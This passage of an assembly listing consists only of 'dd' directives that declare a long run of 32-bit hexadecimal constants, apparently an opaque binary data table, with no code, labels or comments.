		dd 6A00575Fh, 9C9ABD8Bh, 2D206537h, 6819B72Eh, 4D1474F8h
		dd 33ECAC13h, 0BBB0EA00h, 0A8CD90D8h, 3AC9CFA0h, 0A85CE0B8h
		dd 0C02028A6h, 914C07B1h, 0B81CB811h, 99126705h, 72924090h
		dd 4D500208h, 11A0EA89h, 31443464h, 8B533DBDh, 0EF131480h
		dd 867B2A4Dh, 80AAFA17h, 3FA56C20h, 0D4DD54A8h,	7296037Eh
		dd 133698B4h, 9C42203Dh, 7182938Ah, 905278B2h, 5AD04D0h
		dd 5A49F88h, 0B6A04049h, 0D57F8EEAh, 82C6B716h,	2088E08Fh
		dd 51FAA8C0h, 5DE800E2h, 207E1061h, 1EE24EB6h, 2C927494h
		dd 0C3D44845h, 0BBDAC058h, 8F320439h, 83FC283Fh, 0A15C5CA8h
		dd 8C25BCF8h, 0D3D65C01h, 21321097h, 0B0085463h, 6B02A4B4h
		dd 0F4148E34h, 0AF41284h, 0A5D4774Ch, 831D4410h, 3EACA4Ch
		dd 170F4F68h, 1C2AB934h, 0DEB22180h, 2C7CB631h,	0AB2E48C3h
		dd 0B7D90BBCh, 40015EAFh, 3D141C96h, 2F5A1724h,	42F8CCC8h
		dd 87DE11A0h, 0BAB0B409h, 8CCCCC2h, 982F194Fh, 1E012123h
		dd 54B48F65h, 3728D0F0h, 1079D5FEh, 8AC24B4Eh, 0C05AF032h
		dd 4C0622BAh, 0B90A38E6h, 86BE7D48h, 5D38CC01h,	183DC9B8h
		dd 889FD050h, 0BE17AB80h, 182034A4h, 1287470Fh,	5EB4A19Eh
		dd 0ECB6011Ch, 23AE2E56h, 78BD09C4h, 0B04CEE33h, 0A0405480h
		dd 354A4FB7h, 0FF7C1D3Ch, 0F00202C0h, 0A8E9B65Dh, 11949D26h
		dd 0DABC8025h, 121D4CABh, 0C20E6EB4h, 0A9C1EFD0h, 4EA431DBh
		dd 0C0208848h, 31767EC0h, 8053BC03h, 0B8CE9D6Ah, 0A0F8588Eh
		dd 0DCDDBEECh, 0AC042FE8h, 0F2A0F24Ch, 0A9F33320h, 54269D90h
		dd 37045AF4h, 2BBDB6F9h, 3FDA5888h, 11A5C5DFh, 8CE5C4BAh
		dd 0AA602164h, 0DE00FFB5h, 0EF5F2AD9h, 2DB09496h, 28006042h
		dd 16B17391h, 55074775h, 0C0FCD118h, 0D5DB62C0h, 14FCA8A9h
		dd 227E7Bh, 1AE6DD02h, 11CD62E2h, 0FA779504h, 4C80D5B9h
		dd 0B86A4AFCh, 55480264h, 71D054F1h, 0A100F4F6h, 0F5BD7380h
		dd 0A4C25053h, 16324038h, 22204098h, 0BE4B0B7Dh, 0C624698h
		dd 465E5C56h, 80473FADh, 10E6957Ah, 0F6928F22h,	326438BCh
		dd 49234CCh, 0BD01874h,	1304824Ch, 70046049h, 5D9D800Ch
		dd 0B0CA2B09h, 0BA450CCh, 7A761EB6h, 0BDD42810h, 14A47896h
		dd 320AF421h, 9105343Ah, 0F882F9D3h, 0A248C34Ch, 9FAB001Fh
		dd 5B2C3031h, 0F134D0B2h, 0F894FC02h, 864718DBh, 4CBD7A26h
		dd 65135208h, 4738051Ah, 269C08D4h, 814A198Ch, 9AAF006Eh
		dd 0F6F03E51h, 48C4299Bh
		dd 743246DEh, 263034C4h, 0D8EFE13Ah, 0A89E48E4h, 8C1BF8h
		dd 91849A25h, 844E06Bh,	0A0D44C2Dh, 977730E0h, 0E71B006Dh
		dd 6A90DC48h, 3C004584h, 599CB99Fh, 0B8D6C14Dh,	32AC114Ch
		dd 5F1E11DCh, 18C5328h,	0AEE3A8CFh, 7F229A46h, 2AC68C22h
		dd 81DA1120h, 32666A4Bh, 7B0E1CD2h, 805C6A53h, 0E6150A55h
		dd 97AF12F9h, 0A41804F8h, 118819CFh, 415FBB11h,	7C6AECh
		dd 38DC03A8h, 0F817C3AFh, 0ECD8C8CDh, 0E4E4E58Ah, 7706157h
		dd 2CDE630h, 0C639E4B3h, 8C832684h, 0E0506D2Ah,	0F400624h
		dd 0E4C61421h, 3801033h, 0DE0F9EB9h, 0A8F13216h, 0D88308Bh
		dd 4A7C46C0h, 0F61C0354h, 1317C3ECh, 24EAA0C9h,	0BE003D28h
		dd 48DD4CA3h, 5BAB4C4h,	54FC6B33h, 0C9904162h, 221929ECh
		dd 13E90090h, 0DBB760EDh, 7FE400ACh, 3FC2E66Bh,	7518347Ch
		dd 0BD388976h, 9A9728B0h, 5EE096A8h, 57002746h,	83D2B8F0h
		dd 0CA1E2F41h, 0C825D42Ch, 7D3BA4h, 8E618974h, 73C32C6h
		dd 12A73E02h, 5A11EF7Ah, 88EA1DF0h, 0B509C0F5h,	269C9F6Ch
		dd 2A45D56h, 0C962EEE5h, 60D4D1E9h, 0EAEEDD52h,	0DEB3F312h
		dd 0B287004h, 0B8203532h, 97125C89h, 33457CA3h,	0E6C710B0h
		dd 8CE36C02h, 40657620h, 96B7DCD4h, 19467620h, 0BA0F824h
		dd 8CC48CFAh, 0F1824976h, 18CF79CCh, 132005CBh,	4824D404h
		dd 5AC0DD24h, 4832656Ah, 7AE0C483h, 0C2006A62h,	0B62E35F3h
		dd 3D873047h, 0B8881B34h, 4544BA54h, 6C09C94Eh,	6EB658A3h
		dd 0D02D4BEBh, 785C2E07h, 854D9318h, 343AF216h,	0F739CF23h
		dd 0FC996803h, 2788E22Ch, 3C6DF558h, 952636C0h,	9D87043Dh
		dd 0C16639EEh, 0C35D2D4h, 16B940F6h, 2441A6E4h,	0FD783420h
		dd 5108232Fh, 21B600A4h, 27F3BE33h, 209DDD5Dh, 59802011h
		dd 0B066FDDCh, 9381A700h, 0C07BAD48h, 0F1109108h, 3DDC19ADh
		dd 0E887EABFh, 2A7604C1h, 88A63FF1h, 34004B5Ch,	14BEACCDh
		dd 64E3B4Ah, 0E8A0119Bh, 0EC9CE8A6h, 30903A44h,	5FAB90h
		dd 0E26B1355h, 0B2674C5Dh, 0AD2ED1C4h, 0AC007CA2h, 0F348B97h
		dd 0E248B647h, 302986D4h, 72E103F9h, 8F98909Bh,	1FA30D80h
		dd 9743CD04h, 148B9565h, 81C0A3C8h, 9DAF770h, 0D7A216CFh
		dd 1352461h, 7078BF9Ch,	58C1ABCh, 911FC95Bh, 0C608E4D5h
		dd 375E9305h, 0DCB411CCh, 0FF7701E9h, 52264654h, 6712C0F1h
		dd 4E960838h, 0AC47A800h, 0C10D215h, 1C5E26B4h,	0B7027198h
		dd 849607D4h, 20DCF208h, 2CA534AAh, 67806C11h, 59B458FCh
		dd 24169Dh, 19FC5FEBh, 7D271C94h, 33DEA405h, 0D8B0A096h
		dd 6A2C09BFh, 0B452AE3Fh, 42552E0Ch, 904C9886h,	0AF6258Ch
		dd 269F464h, 0E468E529h, 15876020h, 178B006Ah, 0C60E922Fh
		dd 0C9119ACAh, 4D0090D8h, 0F6C5B081h, 9F89631h,	224CA8CEh
		dd 0A2E88DD2h, 60EDB290h, 893560E8h, 0D040EA38h, 0CF83B40Ch
		dd 5EDDC1FEh, 0A8F8CF34h, 0C80B69C2h, 0A0B0E8B0h, 0E6AFF227h
		dd 0AE3C0C6Ch, 3959378Ch, 0DA62A302h, 0E83A1EB6h, 7CA8C97Ch
		dd 0B068C004h, 901B726h, 5A0EE4B8h, 0C4BB6366h,	90D0C16Ch
		dd 948B0E26h, 397C9B64h, 0ADA4FBE0h, 9A6CDE13h,	19614029h
		dd 0E50213Eh, 2EE00621h, 6474C0D8h, 24D4B35h, 423E6E0h
		dd 2468CB71h, 80A9A44Dh, 0F2181BD1h, 0C1918832h, 648209B8h
		dd 0BC7E3336h, 5448D14Fh, 4C01DB23h, 5332676Ah,	7C802C6Ah
		dd 0FD6A5401h, 2BB03F7Ah, 8F479A4h, 3B1C383Ah, 3CCB548Ah
		dd 90216A1Fh, 0C0DCC861h, 32646A59h, 618E7B43h,	75D26A21h
		dd 48322Ah, 57EFE50Dh, 0C2713Dh, 0C75C1056h, 19AD34F4h
		dd 7CE2C62Bh, 3909A191h, 0A85838B6h, 0FB88C085h, 1C174BB9h
		dd 0F7802411h, 723F4D32h, 0DA34891Ah, 30980860h, 0B4029CA1h
		dd 4428DE4Eh, 0F5141018h, 86228830h, 20E4BBADh,	64B31810h
		dd 0BE8E3288h, 0F0C07698h, 729180h, 6DBB73ABh, 8C165536h
		dd 104097B5h, 10A09423h, 64842F5Ah, 6D3F21B9h, 22E44A19h
		dd 24B4B91Ah, 40620890h, 5C8E3D02h, 6068D681h, 665EA0B2h
		dd 5A8E3380h, 0CB18133Ch, 0C058C8E4h, 3732C8FFh, 60A6D4B6h
		dd 0E6EBA760h, 127702Fh, 7B1B0E16h, 21BB2A39h, 5AE342F0h
		dd 0DE815851h, 41C967EEh, 87881718h, 0BDEE0116h, 0B8589C8Dh
		dd 154C2DBBh, 0F01CD4h,	96E18F70h, 7B194D5h, 31B4442Bh
		dd 13C140A6h, 80090342h, 8906D4ABh, 0E0706A90h,	80291578h
		dd 9824B841h, 642A8BBh,	8440459h, 52B79CBEh, 4B588A97h
		dd 1F192C46h, 9E3500B9h, 8A96896Fh, 7100A4D6h, 202E7494h
		dd 67C2C8h, 0B5CE0272h,	36B6DED8h, 24C299Fh, 19E7094h
		dd 4B9CB9C3h, 0C01AC898h, 690F581Dh, 3A88D03h, 512A9266h
		dd 98074E9h, 2C4FD802h,	134A5D7Ah, 0BB956440h, 1B219B75h
		dd 0D9B2D5BDh, 0D7030800h, 0D873C454h, 0E371169Ah, 2E08C67h
		dd 0A443650Bh, 87781023h, 2634F2F0h, 11646208h,	567F002Fh
		dd 454BBFA9h, 0C29109CDh, 0D062AE4Dh, 19796851h, 0FC980019h
		dd 0B70BDFEDh, 0C499C9FAh, 0E01C0098h, 0A28DE7E8h, 251C1820h
		dd 8824B067h, 70B8608h,	0D970AE3Dh, 6684A42Fh, 80330119h
		dd 5AD23221h, 56AB01C0h, 54A8F6DEh, 0D870302Ch,	19CF940h
		dd 8814455Ch, 2A4B91BEh, 4ADFF41Fh, 8495D242h, 0F8A15FFFh
		dd 68888672h, 8CA6E830h, 4161CA00h, 0D19749C1h,	706160Dh
		dd 0DED08BDFh, 0E2951663h, 5B9600F0h, 66B6C006h, 0B98A023Fh
		dd 0D3733465h, 0CB8D8487h, 2B9CD098h, 57445D00h, 0C9843889h
		dd 80090031h, 369561ACh, 694EF4C6h, 345CFCC0h, 0C08C4B8Eh
		dd 84CE230h, 0D4DBDF0Ch, 4FD9B3h, 34ABD66Dh, 9FB6B706h
		dd 0B22A848h, 84B0EB35h, 0AD4516B8h, 0B280B0ECh, 70A77224h
		dd 9C748438h, 84AC5D2Dh, 0FF9D2183h, 66069BAh, 0B6153FBEh
		dd 404C35DFh, 0D408EF4h, 0F9C2039Ah, 4D094732h,	7926EAB1h
		dd 15F471E0h, 1F6EAF1Eh, 7F86A600h, 1EC76266h, 7A1D8DACh
		dd 0DC3AF501h, 204C7B47h, 3D415A2Ch, 0AC9C15h, 0B3156A80h
		dd 0E23E47FDh, 0B0405E24h, 0F4CE6967h, 53900F66h, 9CC4342Eh
		dd 7A8EDD5h, 5030B4EBh,	0B9E8A010h, 2C950090h, 18A8EFB8h
		dd 6A04F73Eh, 0F3B3217h, 5DE24C40h, 0FD00AC9Bh,	0B22E81C9h
		dd 96A199E5h, 25465EC4h, 0E07F8500h, 1DD4D08Dh,	42381892h
		dd 0B34880DFh, 468F65A9h, 4F170034h, 6A3D9FB5h,	8A011EB0h
		dd 0A8A008E9h, 5423DEB3h, 0C33056E2h, 0E473023Ch, 6B77B0BBh
		dd 26D9C479h, 8077C018h, 87D5880Fh, 7A16C0BDh, 4EBF4B73h
		dd 23282F2Ch, 5F2300A6h, 0DE702EC7h, 417CD912h,	0D187804h
		dd 75A8B201h, 343B6A62h, 0B800D023h, 98B2BADCh,	0D42095D6h
		dd 0EAEBD5D1h, 2DBF0D16h, 0C810E80Fh, 3A2C13DCh, 0A9232Ch
		dd 2AA63E78h, 0AB008EB8h, 5C35C4F0h, 271CB255h,	88627006h
		dd 8204A8D8h, 0A8F10401h, 0EB828FCh, 584D038Ch,	77808BFh
		dd 0BB7942F8h, 22185A48h, 0DC97B554h, 79800C91h, 27E0E5DFh
		dd 86CEB900h, 0FFEFBB43h, 94B525B8h, 0D5DD9482h, 6480945Ch
		dd 0E745F111h, 0D1AE00E9h, 5BF654B6h, 6A045AE1h, 0E34B9A4Dh
		dd 0CCC108C4h, 1072CEB8h, 8887D612h, 115AC378h,	0CE23343Bh
		dd 0C9B7F102h, 8894541Eh, 0C4A7A2B3h, 0FDA10090h, 9084C6ECh
		dd 860F26F0h, 5A04EDh, 6DB7500Dh, 64E42D67h, 0D312D0E5h
		dd 0ACC0C0A2h, 0BE367D01h, 1688E04Dh, 0E0B41FD4h, 22071F25h
		dd 89FDC06Ah, 13D87DAAh
		dd 697F4A01h, 0F55E36B7h, 744B5430h, 6E2C5A31h,	0AF8001B0h
		dd 0F2D5E8B6h, 89F09F8h, 84A0BC21h, 27223442h, 0E3C98C2Ah
		dd 516EFB00h, 0F743E907h, 90410039h, 3ADCBE4Bh,	575B6428h
		dd 1988FCCEh, 8324B1C0h, 673E164Bh, 68A2DAh, 6D7926F1h
		dd 825AE9h, 7C9621A4h, 846F5B4Dh, 8E4FAD04h, 0E0BC57E2h
		dd 2E8C19E8h, 25359B3h,	0B02EF5D1h, 338C78FEh, 1E80D8D7h
		dd 0C728A8ABh, 1304545Ch, 94E8638Fh, 4D3BDB32h,	24901234h
		dd 988B701Eh, 8160A092h, 4C2534Bh, 4E1EE844h, 201CA860h
		dd 17BCB3A0h, 750C202Ah, 9A00D1ABh, 33A739E8h, 18C0CA38h
		dd 8EF1D931h, 5205625Ch, 0E5864737h, 0BB853481h, 0A6F8787Ch
		dd 0CB45038Ch, 36DE8A2Eh, 30B62389h, 1C4044A0h,	0B7ED0D32h
		dd 3FA17EC6h, 0BD643020h, 46890011h, 0BB51E402h, 0AA130E27h
		dd 348C8E80h, 0F031DA0Fh, 0DE62C2h, 17164676h, 34A1BC39h
		dd 10E80479h, 32021800h, 8B31EB7h, 0C8902Eh, 816563BBh
		dd 0CAC64BEh, 7A030BE8h, 10B8C977h, 0BB7009CAh,	0E40442F9h
		dd 421436Dh, 89FA895Dh,	9881BA20h, 656709A4h, 0E85AED29h
		dd 8166A02Fh, 6CB633CCh, 2E014428h, 6791E57Ah, 40023EADh
		dd 44C9B85Bh, 988A0CB4h, 64381A36h, 5C6758BCh, 0B47469F9h
		dd 35F9F4h, 6D3256E3h, 5E39711Bh, 26DDEA00h, 4DDF4C9Ah
		dd 40294F9Bh, 9570ECCh,	0BD0738D1h, 807C2F36h, 810143A4h
		dd 51C5AA71h, 0B4C3DCh,	414A2CFEh, 0D3FCEB2Ah, 0DC046Ch
		dd 11DC8747h, 4B50A005h, 0BFB32544h, 0A1F28C6Bh, 0AC0E9008h
		dd 24630A4Ah, 0ACE5C608h, 5746744Ch, 0CD9DFF0Bh, 0B83DE071h
		dd 0A9A880D7h, 0E5BC47D6h, 645010Ah, 0CC9CD5Bh,	94357E72h
		dd 0A204CA8h, 1434E33Dh, 33741D6Eh, 5AB5A02Eh, 8E48DB71h
		dd 7EDA00F2h, 18B46D5Bh, 602CA26Eh, 0B01ED9B8h,	66CBEF46h
		dd 790C79BBh, 89180Dh, 0C7BF4CA8h, 0C38A47CEh, 68D5982Fh
		dd 3CF87504h, 0C70F0668h, 33009378h, 0ABD5CD5Dh, 0ED4180A8h
		dd 5FEE3Fh, 7F3B9C7Eh, 36CDD80h, 310D0EACh, 87C84AC0h
		dd 40798B68h, 0BE4C6309h, 58C85CAh, 7B3EB0FDh, 3CCDE0FBh
		dd 0CB4B4C31h, 0C024C8ECh, 0D83981D2h, 0B8567E00h, 1EB45CAFh
		dd 0EF98A866h, 1F3227C6h, 0D8119421h, 0C8102B90h, 0E7D518A4h
		dd 4DB86928h, 0D409B084h, 48F144BFh, 0B418D5D9h, 34FA6F02h
		dd 41172298h, 7C21D990h, 6606DC38h, 185F3EA8h, 4C39A563h
		dd 0EBB6E90Ah, 5D844CAh, 0C11DBB2h, 0EC88FC34h,	0CE808C15h
		dd 4FB0AC47h, 3AEB313h,	0EF67CC1h, 0AF0F6C7Dh, 4CCB3935h
		dd 0C89824C2h, 66774EB6h, 0D8275CB6h, 0B38F440Ch, 99C4713Dh
		dd 0A2182CF7h, 8F845F3Eh, 942D48E2h, 18C43870h,	1220EFBDh
		dd 4541C040h, 0DCCE3DF7h, 8ED78900h, 57322446h,	0C37A05h
		dd 16E38770h, 0BEB26EFAh, 188E3113h, 8058A0A5h,	0E8A0BF2Ah
		dd 5BECCFBCh, 6B3A4100h, 18D3F522h, 492602B3h, 0B67F7BF2h
		dd 9B1FF846h, 9008F0Fh,	57A9DC08h, 0B5781F23h, 11F30091h
		dd 0FFC2E241h, 7CA0430Bh, 4E74C0ADh, 87574B8Ah,	72F3022Ch
		dd 0E4DAD407h, 581BFE87h, 0B118E530h, 0CB3D03DFh, 0ED191769h
		dd 40C8794Eh, 6E310FCFh, 0D740E82Eh, 4A176F61h,	0E7FE4009h
		dd 9A249363h, 7CDC7CE6h, 170E5946h, 48EC5F4Dh, 1B007A81h
		dd 436F33EEh, 971653Eh,	165AA8B4h, 774BA8E8h, 4748DD01h
		dd 0C29EAB6h, 0B52E518Eh, 0C402E998h, 1C0C6995h, 1DAC1610h
		dd 0D475AF07h, 80324CDBh, 24EC64A0h, 1608F8EAh,	0C208A845h
		dd 0D8B0BDA1h, 2080E884h, 4CA37E65h, 7112A3BFh,	9CC1B94Eh
		dd 81026A4Eh, 82A9084h,	0A08A8225h, 648E0F6Eh, 535810EDh
		dd 4902F1A4h, 38EEADA8h, 0B458C0CDh, 40FDF23Fh,	0E9B87AB9h
		dd 1630A448h, 0F0C3EF61h, 1A58AD8h, 2B8E552Eh, 6A29D80Bh
		dd 1FAC59ACh, 174540FBh, 0D2594FAAh, 1F4C3E07h,	3C50A6D8h
		dd 445A70h, 7C0DB135h, 0BC6AFB9h, 98B23B0Bh, 0EE38D87Eh
		dd 0A61E8030h, 94F92660h, 8049E6A0h, 0D8792021h, 4D9F7405h
		dd 50A8B6FDh, 2FDC8173h, 1A23D03Ah, 52F76981h, 30708818h
		dd 0DCAEA210h, 4C6D25ACh, 0D97ADDC0h, 0D6D50201h, 0DE161F93h
		dd 2479D8F9h, 0AA059A18h, 856D8ECDh, 0B49694C0h, 0DD7D2F46h
		dd 16647867h, 0B849EC60h, 0C0AB782Dh, 7013A28h,	0BE35DA0Ah
		dd 28685B80h, 0B7800E22h, 9DF49691h, 1AA170D5h,	8A00EDC9h
		dd 2371B64Fh, 793A22h, 3888A09Ah, 0AF9E806Bh, 0BB447890h
		dd 48C1B564h, 78CE04BAh, 4FC01A88h, 1546F67h, 0B4C8A8B0h
		dd 306A2B89h, 6241EB48h, 509936F4h, 79BA903Ah, 533B0001h
		dd 47CAF292h, 5F00F55Dh, 35C5F889h, 903F65B6h, 30B071F8h
		dd 0D3F0744Dh, 8904BAFFh, 2D0609CCh, 0E7D0F056h, 5F57AE5Ch
		dd 2BF95C40h, 49B89607h, 7813B82Ah, 3D9CC079h, 7F5F7EC6h
		dd 35DD6807h, 0AE69B983h, 0C5DF0911h, 58F92B24h, 7E88B282h
		dd 307C5244h, 905914F8h, 0CB80418Ah, 586B5CD2h,	606D9C2Fh
		dd 0FC4DD561h, 708C6CAh, 44080B73h, 75FDE04Eh, 76005079h
		dd 84CC9D0Dh, 0B4CFB7Ch, 2B6A26B6h, 0A328F8C8h,	120C6082h
		dd 0C0C3812Ah, 1195BEA4h, 1C152344h, 401590F4h,	0F9EC98h
		dd 4AB7C1B3h, 2CE041BCh, 6E64B6A0h, 916BB039h, 7FB0C918h
		dd 7CC80050h, 886C7CF7h, 0E0DBA51Dh, 0C4A10970h, 35CA98C8h
		dd 1DDBDC88h, 40E4454Bh, 0CAE3C66h, 0A1C4DD5Dh,	0A257E61Eh
		dd 300CF204h, 26053F99h, 925A2A64h, 1F50AC1Fh, 2A8BD02h
		dd 0B8A2634Ch, 3F028646h, 0AC1856B2h, 8EFE0B95h, 7320907Ah
		dd 3932186Bh, 2E296913h, 967AB4A8h, 97BD5600h, 0ADFDF2B3h
		dd 23CF00E5h, 0EF786DB2h, 0EB2DB75Dh, 120CD104h, 9DB4BC59h
		dd 4640F01Ch, 21CD961Ah, 645405A7h, 0E9D5F91Dh,	0B65900F0h
		dd 0E0FEB513h, 0ABAF00CDh, 53587EB7h, 0E0BC62BCh, 0D52B7841h
		dd 0AF4EC4h, 6CFAB04h, 64CE5540h, 0DC014B5Ah, 9F5148BCh
		dd 0B346E7Ah, 5875F60h,	6CC178C4h, 0B3FEA6Dh, 46D9CD8h
		dd 135D9960h, 62210FD1h, 0A5E795BDh, 75857903h,	0B432BA97h
		dd 8C185FF5h, 9C2DC639h, 608C6AFEh, 5CC9B5F4h, 56EC7094h
		dd 0DFBC018Ch, 63928FE1h, 60C5F093h, 0A8821E5Fh, 56B42236h
		dd 94317840h, 7FA54D00h, 782C42FEh, 12F09ACEh, 4BF9C64h
		dd 147A362Ch, 19AD0600h, 4128BE63h, 82F2E4Ah, 6700CF23h
		dd 32FE6259h, 0B4A434h,	39E7B3A8h, 6CBDAE29h, 98BE6416h
		dd 79F1E8F4h, 0A8244C95h, 81ECECA4h, 8EB0F6DFh,	58AC7C0h
		dd 4D278743h, 0E1A4F413h, 63B46209h, 4A3C82E7h,	4B000F17h
		dd 0AC567F6Ah, 0C724D201h, 1A78B3A5h, 4CB79C74h, 49344BBh
		dd 5CA280h, 0A92EF8B3h,	98B895A6h, 23587653h, 0E90400EFh
		dd 1C5771C9h, 0BA0F618h, 2805010Ch, 0CB0104D0h,	0A8C9EF43h
		dd 3B6B6B5Bh, 3E262310h, 0DE59F201h, 3C5E7161h,	0E7DB22ACh
		dd 5400F422h, 86151E75h, 707D28Eh, 67F0CF7Ah, 0C09699B3h
		dd 1B4B4565h, 0F1AF3FF4h, 0F768C29Ch, 0F65F646Bh, 0A9B08091h
		dd 3ABB8501h, 0A2230C3Eh, 364AC800h, 6011E1C7h,	0BD22A93Eh
		dd 0AE0043DCh, 4BAC0D29h, 4FD1A8AAh, 65A823CDh,	0E027694Ah
		dd 7706591Ch, 60DC2CBEh, 5E108344h, 0D01F3494h,	3900B002h
		dd 0F4455D35h, 0BC6D27D0h, 0FB488C50h, 346844D4h, 0FD4D717h
		dd 6E6A70A1h, 0B2CD00DCh, 0BCD8446Fh, 0BA98A9A4h, 0A9F8306Ch
		dd 4469008Ch, 9DB1F325h
		dd 3227DBFAh, 41E4213Dh, 6710FCA0h, 9727AE36h, 6458E76Bh
		dd 0A1A6021h, 0AB30007Ch, 0AA3C6252h, 0C1C732D5h, 77E239BCh
		dd 4C5EE001h, 0AEFF0EA3h, 0ECF241E9h, 67DA1048h, 0C8D91913h
		dd 0B241F434h, 8AA6DC0Ch, 2ACA8881h, 0D22438C5h, 0D416B209h
		dd 0D4F90504h, 0BB0B979h, 4633724Eh, 0D251E630h, 0E004F6C1h
		dd 9F4DAEF3h, 0DC089082h, 71E67F00h, 5D873E02h,	814CEC80h
		dd 0CEE2BB91h, 754FA8C4h, 89F68700h, 1825FB8Eh,	0F150D171h
		dd 8F180Bh, 0AF87ABF4h,	32462BCBh, 905C9632h, 9D804148h
		dd 0A8D3D02Ch, 88A180F8h, 29CED07h, 82D989AEh, 88BFA729h
		dd 5A3AA103h, 0FF26C89Bh, 0B47304FDh, 0E1143680h, 80D82838h
		dd 0C3E5B647h, 638CBA7Eh, 822E49F3h, 14A03EE3h,	9D6275h
		dd 1674E144h, 931E322Dh, 50478710h, 0E4602344h,	0E70B4A5Bh
		dd 988036BCh, 0F8A4444h, 76953104h, 0E2A2FA2h, 0B626DC58h
		dd 280368AEh, 2332532h,	0E4AAA831h, 2F555A4Ch, 90182F70h
		dd 0E26F320Bh, 102C0046h, 2C41B82Ah, 6028EE80h,	0E4C63317h
		dd 8604478Ch, 0CDBEC2D5h, 230EB0ECh, 0D412C3B6h, 0C5940274h
		dd 0D09F2C82h, 0FB802511h, 4A44785h, 1D68794Ch,	44BD822Ah
		dd 0E0AFE9B7h, 65920C53h, 18C8448Bh, 0E52FB8C1h, 0C04312CCh
		dd 3F55A919h, 5D71BC39h, 29BFC4FAh, 8EC05690h, 50C28747h
		dd 0B07465E3h, 83D41994h, 9088B916h, 3E07BEAAh,	0C84BBBDEh
		dd 0DD3BF724h, 1BCB9793h, 4A2EA4E4h, 0BF38D4ABh, 0B2A3B820h
		dd 37B800C7h, 52E51B80h, 1D075A14h, 6466DD47h, 26B44D60h
		dd 0C1944F0Ah, 7ADEB2A0h, 243D5CCDh, 0C45D93B8h, 0B84182ECh
		dd 25ACD654h, 0E0D8B440h, 262EB141h, 21074A80h,	0F28A9C61h
		dd 65A2CF10h, 1F3100AAh, 9FA6673Fh, 0E326822Fh,	802CA458h
		dd 0DC045449h, 99D25C00h, 0E872E79h, 1EB409E5h,	0CC682926h
		dd 45866B88h, 252C3083h, 5721144h, 0B608674Ch, 5EC8A858h
		dd 2223302Fh, 9A2F9803h, 0AC1D98D1h, 0D8EF24AFh, 3BB84288h
		dd 1B2534E8h, 1A2979C6h, 34770041h, 660F46ABh, 0B2003608h
		dd 0E9DDA2AFh, 13038816h, 0ACF52797h, 21EEA2ECh, 386A78BEh
		dd 0C84E7CA0h, 0B22EA8D1h, 6F7CC429h, 0E19679C7h, 0C072CA68h
		dd 2078B43Eh, 0C019391Ah, 18F8F0CCh, 6255128Ch,	2024BC81h
		dd 0B8EF0924h, 0BCE8B218h, 7F0CB04h, 6A46B8AEh,	56FC6509h
		dd 0E01C8C09h, 0FC5DED01h, 0B4D4374Ah, 181EE1BCh, 0A1ECE7Bh
		dd 0EAD9BF22h, 4B308C8Ah, 0C70DC73h, 172720C5h,	29802E7Ch
		dd 4C6C9ABFh, 0DF02A04Dh, 10BEB0B2h, 6E4F1CC9h,	2523742Fh
		dd 0A8F88400h, 13B43993h, 0D34476B0h, 0DCA20408h, 0F8143D11h
		dd 8C0EBC38h, 3B0702E4h, 0B24AAEDCh, 262980B1h,	9DB4F810h
		dd 61199B0Bh, 6790DE95h, 804D8970h, 0F3CCAE6Fh,	1401B113h
		dd 274C7A63h, 1570413Fh, 2AE2EE3Bh, 685E20C2h, 0C42BC8ACh
		dd 0C33AFA21h, 9A884DB4h, 0F525B3A8h, 0A778D999h, 970070D1h
		dd 3575F201h, 0D3CB03F6h, 0E337743Ah, 0F020AB9Ch, 0EAB3FFA0h
		dd 85760018h, 6979D65Eh, 0BF00CD5Ch, 870DBCBDh,	168A295h
		dd 0B24C6429h, 0F84F442Dh, 0A19FA4C4h, 4BDB626Ch, 2C784AF0h
		dd 0D51F132h, 2B98A2EBh, 29B4CCC1h, 0F2400405h,	0C30133Fh
		dd 0CE4157h, 5EC90F68h,	0BCA8BDD9h, 34B4C450h, 7D7A2513h
		dd 5CE94895h, 0BD90B083h, 0BE20297Ah, 9446977Bh, 8B5398C4h
		dd 0B70BF4A2h, 0A06E5CAFh, 63601CADh, 0ABEBD7h,	837F3673h
		dd 0E7FE3F90h, 0C6D2B32Dh, 0C0B727A0h, 0EEAC2820h, 0E8092F31h
		dd 29A41924h, 84D0B734h, 0F0B9488Eh, 72802C64h,	26E803ADh
		dd 70B0FFA5h, 4C90B3C5h, 8CA6E828h, 1A0BF272h, 60C8B1C0h
		dd 4FDA3397h, 0B288E0DDh, 48B4DFB0h, 0B0586A00h, 0BF56E180h
		dd 43E268A2h, 0DC810500h, 16F907C3h, 0B0263EF7h, 38F487F2h
		dd 0E54D0301h, 2B6246AEh, 3381A86Ch, 12144BEh, 0C93EF47Ah
		dd 22C47D8Ch, 100498E7h, 2430EE58h, 980E34AEh, 1A889A6Eh
		dd 882CDE1Ch, 2C046B5Bh, 30BA49AEh, 2F75BC40h, 106EB624h
		dd 62BCBA27h, 2070D3F4h, 127A3538h, 48F0A6F9h, 18681058h
		dd 0D8380F7Fh, 43D208BBh, 621EB65Ch, 0E41656E4h, 780808CEh
		dd 0DE8B626Dh, 9540D83Ch, 0B6EF2490h, 78EBD2E8h, 7046AA28h
		dd 80AA3F08h, 7476BA42h, 0ED521FC0h, 33EE34B8h,	0E860D858h
		dd 94078C23h, 9949C131h, 90453FE2h, 30A0BBDCh, 5860D204h
		dd 0DC1D1B34h, 0B2836D5Ah, 0B033B340h, 1352BCD6h, 3C8ADE6h
		dd 9CBC4DCh, 1B0F20F6h,	0A0EBFE8Ah, 3F15AD56h, 78BD1DB2h
		dd 6BEF0462h, 4164A5ABh, 0EC242FDDh, 0F0009AEh,	4363C5F6h
		dd 606575h, 0ADED328Ah,	68ECB2D9h, 64DE4C02h, 0F429D0F2h
		dd 0A4467458h, 50749400h, 49FE3036h, 0E6AB2E25h, 328020B0h
		dd 0C9E5B309h, 0B074D695h, 86ED1180h, 0ECE22F5Ah, 68E712BAh
		dd 0EEA9847h, 87C6C4Eh,	186062B0h, 0D326279Eh, 759A3110h
		dd 1D62808h, 11015D78h,	372888F2h, 0A0321F71h, 182E3333h
		dd 181118ACh, 9C00811h,	83D8D580h, 0E22039BEh, 5B6B3196h
		dd 1FEEB08h, 4016EBEh, 0A050B995h, 0E67331BBh, 15A5D10h
		dd 888D5FFh, 41089FE7h,	0C19B08A2h, 3034390Ch, 68704084h
		dd 6510E863h, 0C081820h, 81A918B1h, 88911CCh, 92964009h
		dd 0AE9F61C4h, 60B2304h, 2020258Bh, 3120C03Ah, 731B2097h
		dd 8BC3833h, 0A771105Dh, 62407B86h, 0B641CA85h,	0CCC68890h
